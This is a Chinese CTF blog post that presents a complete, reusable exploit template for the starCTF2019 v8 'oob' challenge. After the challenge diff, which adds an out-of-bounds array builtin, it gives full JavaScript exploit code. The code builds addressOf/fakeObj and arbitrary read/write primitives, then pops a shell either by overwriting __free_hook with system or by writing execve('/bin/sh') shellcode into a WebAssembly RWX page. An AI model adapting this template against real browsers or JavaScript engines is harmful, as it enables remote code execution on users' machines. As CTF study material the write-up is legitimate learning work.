【v8漏洞利用模板】starCTF2019 -- OOB

前言

一道入门级别的 v8 题目，不涉及太多的 v8 知识，很适合入门，对于这个题目，网上已经有很多分析文章，笔者不再为大家制造垃圾，仅仅记录一个模板，方便以后使用

参考

从一道CTF题零基础学V8漏洞利用

题目环境配置

关于 v8 的环境配置见笔者之前的文章，这里题目给了 diff 文件。我们需要回滚代码到指定版本，然后将 diff 给 apply 进去，最后就是正常的编译流程：

git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply oob.diff
gclient sync -D # 别忘了 gclient sync 同步一下

漏洞分析

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

可以看到，这里将元素当作 Double 类型的数组

 FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());

然后作者给了一些注释，连猜带懵可以知道这里存在数组越界，具体将上面给出的参考文章。

贴个 exp：

let debug = (o) => {
        %DebugPrint(o);
        %SystemBreak();
}

let hexx = (str, num) => {
        print("\033[32m"+str+":\033[0m 0x"+num.toString(16));
}

var raw_buf = new ArrayBuffer(8);
var d = new Float64Array(raw_buf);
var l = new BigUint64Array(raw_buf);

function d2l(num)
{
        d[0] = num;
        return l[0];
}

function l2d(num)
{
        l[0] = num;
        return d[0];
}

var tmp = [1, 2];
var float_arr = [1.1, 1.2]
var obj_arr = [tmp, float_arr]

var float_map = d2l(float_arr.oob());
var obj_map = d2l(obj_arr.oob());

hexx("float_map", float_map);
hexx("obj_map", obj_map);

function addressOf(obj)
{
        obj_arr[0] = obj;
        obj_arr.oob(l2d(float_map));
        let obj_addr = d2l(obj_arr[0]) - 1n;
        obj_arr.oob(l2d(obj_map));
        return obj_addr;
}

function fakeObj(addr)
{
        float_arr[0] = l2d(addr+1n);
        float_arr.oob(l2d(obj_map));
        let fake_obj = float_arr[0];
        float_arr.oob(l2d(float_map));
        return fake_obj;
}

var fake_obj_arr = [l2d(float_map), 0, 52.1, l2d(0x200000000n)];

var fake_obj_arr_addr = addressOf(fake_obj_arr);
var fake_obj_addr = fake_obj_arr_addr - 0x20n;
hexx("fake_obj_arr_addr", fake_obj_arr_addr);
hexx("fake_obj_addr", fake_obj_addr);

var fake_obj = fakeObj(fake_obj_addr);

function arb_read(addr)
{
        fake_obj_arr[2] = l2d(addr+1n-0x10n);
        return d2l(fake_obj[0]) - 1n;
}

function arb_write_fake(addr, value)
{
        fake_obj_arr[2] = l2d(addr+1n-0x10n);
        fake_obj[0] = l2d(value);
}

var tmp_buf = new ArrayBuffer(0x20);
var arb_write_buf = new DataView(tmp_buf);
var arb_write_buf_addr = addressOf(arb_write_buf);
var arb_write_buf_buf_addr = arb_read(arb_write_buf_addr+0x18n);
var backing_store_addr = arb_write_buf_buf_addr+0x20n;
var backing_store = arb_read(arb_write_buf_buf_addr+0x20n);
hexx("arb_write_buf_addr", arb_write_buf_addr);
hexx("arb_write_buf_buf_addr", arb_write_buf_buf_addr);
hexx("backing_store_addr", backing_store_addr);
hexx("backing_store", backing_store);


let exp_hook = () => {

        function get_shell(){
                var shell_str = new String("/bin/sh\0");
        }

        var tmp_addr = addressOf(tmp);
        var tmp_map = arb_read(tmp_addr);
        var tmp_construct_addr = arb_read(tmp_map+0x20n);
        var tmp_code_addr = arb_read(tmp_construct_addr+0x30n);
        var text_addr = arb_read(tmp_code_addr+0x2n+0x40n) + 1n;
        var text_base = text_addr - 0x94f780n;
        var malloc_got = text_base + 0x12AA9E0n - 0x679000n;
        var libc_base = arb_read(malloc_got) + 1n - 0x780e0n;
        var system = libc_base + 0x30290n;
        var free_hook = libc_base + 0x1cce48n;
        hexx("tmp_addr", tmp_addr);
        hexx("tmp_map", tmp_map);
        hexx("tmp_construct_addr", tmp_construct_addr);
        hexx("tmp_code_addr", tmp_code_addr);
        hexx("text_addr", text_addr);
        hexx("text_base", text_base);
        hexx("malloc_got", malloc_got);
        hexx("libc_base", libc_base);
        hexx("system_addr", system);
        hexx("free_hook", free_hook);
        arb_write_fake(backing_store_addr, free_hook);
        arb_write_buf.setFloat64(0, l2d(system), true);
        //arb_write_fake(backing_store_addr, backing_store);
        //arb_write_buf.setFloat64(0, l2d(0x68732f6e69622fn), true);
        get_shell();
}

let exp_wasm = () => {

        var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                        128,0,1,96,0,1,127,3,130,128,128,128,
                                        0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                        131,128,128,128,0,1,0,1,6,129,128,128,128,
                                        0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                        114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                        128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

        var wasm_module = new WebAssembly.Module(wasm_code);
        var wasm_instance = new WebAssembly.Instance(wasm_module);
        var func = wasm_instance.exports.main;
        var wasm_instance_addr = addressOf(wasm_instance);
        var func_addr = addressOf(func);
        var rwx_addr = arb_read(wasm_instance_addr+0x88n) + 1n;
        hexx("func_addr", func_addr);
        hexx("wasm_instance_addr", wasm_instance_addr);
        hexx("rwx_addr", rwx_addr);

        var shellcode = [
          0x2fbb485299583b6an,
          0x5368732f6e69622fn,
          0x050f5e5457525f54n
        ];


        arb_write_fake(backing_store_addr, rwx_addr);
        for (let i = 0; i < shellcode.length; i++)
        {
                arb_write_buf.setFloat64(i*8, l2d(shellcode[i]), true);
        }
        func();
}
exp_hook();
//exp_wasm();
//debug(tmp);

效果如下：
劫持 wasm 写 shellcode：

劫持 free_hook：